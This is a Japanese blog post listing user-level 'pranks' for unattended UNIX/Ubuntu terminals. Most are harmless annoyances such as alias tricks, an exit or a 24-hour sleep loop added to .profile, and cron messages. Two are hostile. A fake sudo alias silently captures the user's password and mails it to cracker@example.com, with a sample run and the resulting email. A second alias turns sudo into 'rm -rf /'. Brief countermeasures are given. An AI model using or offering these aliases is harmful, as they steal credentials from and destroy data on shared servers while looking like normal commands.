UNIX系OSのサーバに対するイタズラ集

随時追加


ターミナルを立ち上げたまま席を離れるとマシンにイタズラされることがよくある.とはいえシャレにならないイタズラはしても笑えないので,基本的には教育的に効果があって被害の出ないものしか実際にはしない.

じゃあ,たとえ root じゃなくてもどこまでえげつないことができるのか*1,今回はちょっと考えてみたユーザ権限でできる酷いイタズラを紹介する.対象はリモートログインする UNIX 系 OS を利用しているサーバ,主に Ubuntu である.

ls が sl

方法
alias ls=sl

sl を期待したという意見が多かったので掲載.掲載しなかったのは sl がインストールされていない環境が多く,インストールには root 権限が必要になるから.後述のバイナリを持ち込んでパスを通す方法を使えばできないことはないかも.



エディターが全部 ed

方法
alias nano=ed
alias vim=ed
alias emacs=ed
...

ed の使い方の練習に.

ログインしたらログアウトする (bash@Ubuntu)

方法

${HOME}/.bash_profile または ${HOME}/.profile に exit を書く.bash が ログイン時に ${HOME}/.bash_profile がなければ ${HOME}/.profile を読みに行くので,そこで exit するとログインしたのにログアウトして何も出来なくなる.実際やってみると結構シュール.

対処

root でログインして .profile を元に戻したが,Ubuntu ではデフォルトだと root でログインできないので,knoppix 等の CD ブート OS を使ってなんとかする必要がある.

備考

zsh だと .profile を読みに行かないようなので .zshrc に.


ログインするのに待たされる (bash@Ubuntu)

方法

exit するのではなく待たされるイタズラ..profile に sleep を書く.ターミナルだと Ctrl-C で中断することができるが,ssh だと ssh クライアントが殺されるので待たなければいけなくなる.

対処

実機のターミナルからログインして Ctrl+C(SIGINT) で KILL して待たずにログイン.

コマンド例

86400(24時間)秒をカウントダウンするスクリプトを .profile に書き込むワンライナーコマンド.

echo "for f in \`seq 86400 -1 1\`\ndo\n\tprintf \"Please wait:%8d\\\r\" \$f\n\tsleep 1\ndone" >> .profile
for f in `seq 86400 -1 1`
do
        printf "Please wait:%8d\r" $f
        sleep 1
done

Mac だと標準入力から cron に登録できるので,1分イタズラを放置すると1分余計に待たなければいけなくなるようなイタズラができる.ワンライナーにしたらエスケープの数がシュール.ちなみに seq じゃなくて jot

echo "* * * * * echo \"for f in \\\`jot - 60 0 -1\\\`;do printf \\\"Please Wait:\\%8d\\\\\\\\\\\r\\\" \\\$f;sleep 1;done\">>.profile"|crontab

ssh でログインしているシェルの tty に毎分メッセージを表示する (Ubuntu)

方法

crontab に以下の記述をする.Ubuntussh でログインしたシェルの tty が /dev/pts/[\d] になるのでそれを w の結果から取り出して,tty に直接 echo をかます.非常に鬱陶しいけど実害はさほどない.

* * * * * echo 'Your computer has been cracked :)' > /dev/`w | awk '/pts/ {print $2;}'`
対処

crontab を編集する.



ユーザパスワードを盗んで誰かにメールする(Ubuntu/Mac)

方法

sudo コマンドを実行した時に要求されるユーザパスワードを盗む.

`read -s x` で文字を表示させずに入力させることができ,その文字列が $x に保存される.それを mail コマンド*2で攻撃者に送信する.ついでに alias を解除する.動作がおかしいと怪しまれるので,入力されたコマンドをちゃんと実行する./usr/bin/sudo とフルパスで指定すれば本当の sudo が使え,-S オプションで標準入力からパスワードを入力できるので echo $x のパイプでさきほど入力されたパスワードをわたし,プロンプトが2回表示されると怪しいので -p "" オプションでプロンプトを表示しないようにする.偽の sudo に与えられた引数は,この本当の sudo に渡されるので,見た目はいつも通りの sudo ができあがる.
ただしパスワードが間違って入力されると正しいパスワードは入手できない.mail コマンドがない等,エラーが出た場合の動作は未検証.

Mac の場合は echo で表示するプロンプトを "Password:" にするとよい.Mac での動作未確認.

alias sudo="echo -n \"[sudo] password for `whoami`: \";read -s p;echo \$p|mail -s \"`whoami`@`hostname -f`'s Password\" cracker@example.com;unalias sudo;echo \$p|/usr/bin/sudo -p \"\" -S "

alias 内容

echo -n "[sudo] password for `whoami`: ";
read -s p;
echo $p | mail -s "`whoami`@`hostname -f`'s Password" cracker@example.com;
unalias sudo;
echo $p | /usr/bin/sudo -p "" -S
実行例
yuyarin:~% alias sudo="echo -n \"[sudo] password for `whoami`: \";read -s p;echo \$p|mail -s \"`whoami`@`hostname -f`'s Password\" cracker@example.com;unalias sudo;echo \$p|/usr/bin/sudo -p \"\" -S " 
yuyarin:~% which sudo
sudo: aliased to echo -n "[sudo] password for yuyarin: ";read -s p;echo $p|mail -s "yuyrin@fqdn's Password" cracker@example.com;unalias sudo;echo $p|/usr/bin/sudo -p "" -S 
yuyarin:~% sudo apt-get upgrade
[sudo] password for yuyarin: 
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
以下のパッケージは保留されます:
  linux-image-server linux-image-xen linux-restricted-modules-xen linux-server
アップグレード: 0 個、新規インストール: 0 個、削除: 0 個、保留: 4 個。
yuyarin:~% which sudo          
/usr/bin/sudo

一見普通に sudo が使えているが,実は裏でこんなメールが飛んでいる...

To: cracker@example.com
Subject: yuyarin@fqdn's Password
Body: asdfghjkl123

本当にやることはお薦めしないが,どうしてもやるならイタズラ対象本人のメアドに送る程度で.

対処

sudo する前に which sudo で alias が貼られていないか確認する.





バイナリをすり替えられる

方法

隠しディレクトリによく使うコマンドと同じ名前のへんなバイナリを置いて,そのディレクトリをパスの先頭に通す.未検証.



sudo を実行するとシステムが破壊される

方法

sudo の alias が sudo rm -rf /.最悪.試していないのでできるのかどうかわからない.

alias sudo="/usr/bin/sudo rm -rf /;"
対処

...

備考

最近の Linuxrm -rf / をさせてくれないとか.







なんかイタズラのレベルを超えているものがあるな...よいこの大人は真似しないでね.

*1:元々はユーザ権限で実行される140字以内のワンライナーコマンドでどこまでできるかで遊んでいた.

*2:mail コマンドは Ubuntu に標準で入っていなかったような気がする(mailx パッケージからインストールできる).